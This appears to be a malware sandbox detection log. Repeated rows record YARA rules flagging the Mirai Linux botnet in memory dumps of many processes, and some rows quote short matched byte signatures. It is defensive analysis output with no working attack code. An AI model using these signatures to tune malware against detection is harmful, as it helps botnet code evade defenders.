6341.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6341.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6673.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6673.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6673.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6673.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6673.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6673.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7203.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7203.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7203.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7203.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7203.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7203.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7388.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7388.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7388.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7388.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7388.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7388.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7143.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7143.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7143.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7143.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7143.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7143.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7404.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6606.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6606.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6606.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6606.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6606.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6606.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7169.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7169.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7169.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7169.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7169.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7169.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7404.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7404.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7404.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7404.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7404.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6769.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6472.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6472.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6472.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6472.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6472.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6472.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6442.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6442.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6442.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6442.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6442.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6442.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6282.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6282.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6282.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6282.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6282.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6282.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7133.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7133.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7133.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7133.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7133.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7133.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7186.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7186.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7186.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7186.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7186.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7186.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6599.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6599.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6599.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6599.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6599.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6599.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7335.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7335.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7335.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7335.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7335.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7335.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6918.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6918.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6918.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6918.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6918.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6918.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6985.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6985.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6985.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6985.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6985.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6985.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6268.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6268.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6268.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6268.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6268.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6268.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7415.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7415.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7415.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7415.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7415.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7415.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6290.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6290.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6290.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6290.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6290.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6290.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7021.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7021.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7021.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7021.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7021.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7021.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7131.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7131.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7131.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7131.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7131.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7131.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6598.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6598.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6598.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6598.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6598.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6598.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7385.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7385.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7385.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7385.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7385.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7385.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6900.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6900.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6900.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6900.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6900.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6900.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6727.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6727.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6727.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6727.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6727.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6727.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6931.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6931.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6931.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6931.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6931.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6931.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6650.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6650.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6650.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6650.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6650.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6650.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7077.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7077.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7077.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7077.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
